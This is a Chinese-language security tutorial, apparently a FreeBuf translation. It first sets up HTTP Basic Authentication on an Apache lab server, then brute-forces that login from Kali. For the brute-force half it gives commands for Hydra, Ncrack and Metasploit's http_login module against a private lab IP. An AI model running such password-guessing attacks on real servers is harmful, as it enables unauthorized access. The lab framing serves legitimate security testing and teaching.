技術分享 | 多種測試HTTP身份驗證的方法
在這篇文章中,我們會告訴大家如何保護Apache Web伺服器免受未經身份驗證的使用者非法訪問,以及如何隱藏關鍵核心資訊不被非法使用者檢視到。當然了,我們還會介紹如何利用這些安全缺陷來滲透目標伺服器,相信這也是大家非常感興趣的東西。
HTTP基礎認證(BA)
在HTTP事務處理環境中,基礎訪問身份認證是HTTP使用者代理在請求提供使用者名稱和密碼時需要使用到的一種安全方法。
實際上,HTTP基礎認證(BA)是實現對Web資源訪問控制的一種最簡單的技術,因為它不需要設計cookie、會話識別符或登入頁面,HTTP基礎認證是需要使用到HTTP頭中的標準欄位,而且還不需要進行握手。
但是,BA機制不會為憑證的傳輸提供機密性保護。它只會在傳輸過程中對相關資訊進行Base64編碼,而不會採用任何形式的加密。因此,HTTPS通常需要結合BA一起使用。
實驗環境搭建
1、 Apache伺服器(Ubuntu 14.04)
2、 滲透測試裝置(Kali Linux)
3、 設定密碼認證
4、 安裝Apache實用工具包
使用下列命令安裝Apache2實用包:
sudo apt-get install apache2 apache2-utils
建立密碼檔案
使用htpasswd命令建立密碼檔案,Apache將會用它來驗證使用者身份:
sudo htpasswd -c /etc/apache2/.htpasswd raj cat /etc/apache2/.htpasswd gedit etc/apache2/sites-enabled/000-default.conf
在虛擬主機設定中配置訪問控制
將下列配置內容儲存到000-default.conf檔案中:
<Directory "/var/www/html"> AuthType Basic AuthName "Restricted Content" AuthUserFile /etc/apache2/.htpasswd Require valid-user </Directory>
利用.htaccess檔案配置訪問控制
開啟Apache配置檔案,修改.htaccess檔案來啟用密碼保護,新增下列程式碼:
sudo gedit /etc/apache2/apache2.conf ServerName localhost
將AllowOverride引數修改為“All”,儲存並重啟Apache服務:
<Directory /var/www/> Options Indexes FollowSymLinks AllowOverride All Require all granted </Directory>
現在,我們需要往受限目錄中新增一個.htaccess檔案。這裡我們給整個網站新增限制,當然了,你也可以限制單獨目錄:
sudo nano /var/www/html/.htaccess AuthType Basic AuthName "Restricted Content" AuthUserFile /etc/apache2/.htpasswd Require valid-user sudo service apache2 restart
確認密碼認證
在瀏覽器中嘗試訪問受限資源,確認你的內容已受保護。這裡會彈出如下所示的驗證框:
如果你訪問的內容沒有彈出認證窗,或者你取消了認證頁面,那你將會看到401未授權訪問錯誤。
輸入正確的使用者名稱和密碼之後,你就應該可以訪問網站內容了:
利用HTTP認證漏洞
xHydra
這是一款通過FTP埠和字典攻擊入侵系統的圖形化工具,在Kali中開啟xHydra,選擇“Single Target option”,設定目標IP,其他按下圖勾選:
Passwords標籤頁配置如下,配置好字典檔案:
切換到Start標籤,點選“Start”,可以看到字典攻擊的進度以及最終的結果:
Hydra
Hydra可以針對50種協議進行快速的字典攻擊,其中包括telnet、ftp、http、https、smb以及多種資料庫。操作命令如下:
hydra -L user.txt -P pass.txt 192.168.0.105 http-get
Ncrack
Ncrack是一款高速網路認證破解工具,它可以幫助企業測試網路安全情況,並識別弱密碼。操作命令如下:
ncrack -U user.txt -P pass.txt http://192.168.0.105
Metasploit
下面這個模組可以對HTTP認證服務進行攻擊,開啟Kali終端,輸入“msfconsole”,然後輸入下列命令:
use auxiliary/scanner/http/http_login msf auxiliary(scanner/http/http_login) > set user_fileuser.txt msf auxiliary(scanner/http/http_login) > set pass_filepass.txt msf auxiliary(scanner/http/http_login) > set rhosts 192.168.0.105 msf auxiliary(scanner/http/http_login) >set stop_on_success msf auxiliary(scanner/http/http_login) > exploit
後記
希望這篇文章的內容可以幫助大家瞭解HTTP弱配置的安全風險,並幫助大家更好地提升自己網站的安全性。
* 參考來源: hackingarticles ,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM